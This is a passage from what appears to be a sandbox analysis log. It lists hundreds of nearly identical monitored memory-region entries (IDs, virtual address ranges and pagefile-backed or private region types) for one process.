0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1166 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1167 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1168 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1169 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1170 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1171 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1172 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1173 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1174 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1175 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1176 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1177 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1178 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1179 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1180 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1181 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1182 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1183 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1184 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1185 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1186 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1187 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1188 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1189 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1190 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1191 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1192 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1193 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1194 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1195 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1196 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1197 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1198 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1199 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1200 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1201 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1202 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1203 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1204 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1205 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1206 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1207 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1208 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1209 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1210 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1211 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1212 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1213 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1214 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1215 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1216 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1217 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1218 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1219 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1220 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1221 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1222 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1223 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1224 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1225 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1226 start_va = 0x1ea0000 end_va = 0x1ea0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1227 start_va = 0x1ea0000 end_va = 0x1eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 1228 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 1229 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1230 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1231 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1232 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1233 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1234 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1235 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1236 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1237 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1238 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1239 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1240 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1241 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1242 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1243 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1244 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1245 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1246 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1247 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1248 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1249 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1250 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1251 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1252 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1253 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1254 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1255 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1256 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1257 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1258 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1259 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1260 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1261 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1262 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1263 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1264 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1265 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1266 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1267 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1268 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1269 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1270 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1271 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1272 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1273 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1274 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1275 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1276 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1277 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1278 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1279 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1280 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1281 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1282 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1283 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1284 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1285 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1286 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1287 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1288 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1289 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1290 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1291 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1292 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1293 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1294 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1295 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1296 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1297 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1298 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1299 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1300 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1301 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1302 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1303 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1304 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1305 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1306 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1307 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1308 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1309 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1310 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1311 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1312 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1313 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1314 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1315 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1316 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1317 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1318 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1319 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1320 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1321 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1322 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1323 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1324 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1325 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1326 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1327 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1328 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1329 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1330 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1331 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1332 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1333 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1334 start_va = 0x1ea0000 end_va = 0x1ea0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1335 start_va = 0x1ea0000 end_va = 0x1eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 1336 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 1337 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1338 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1339 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1340 start_va = 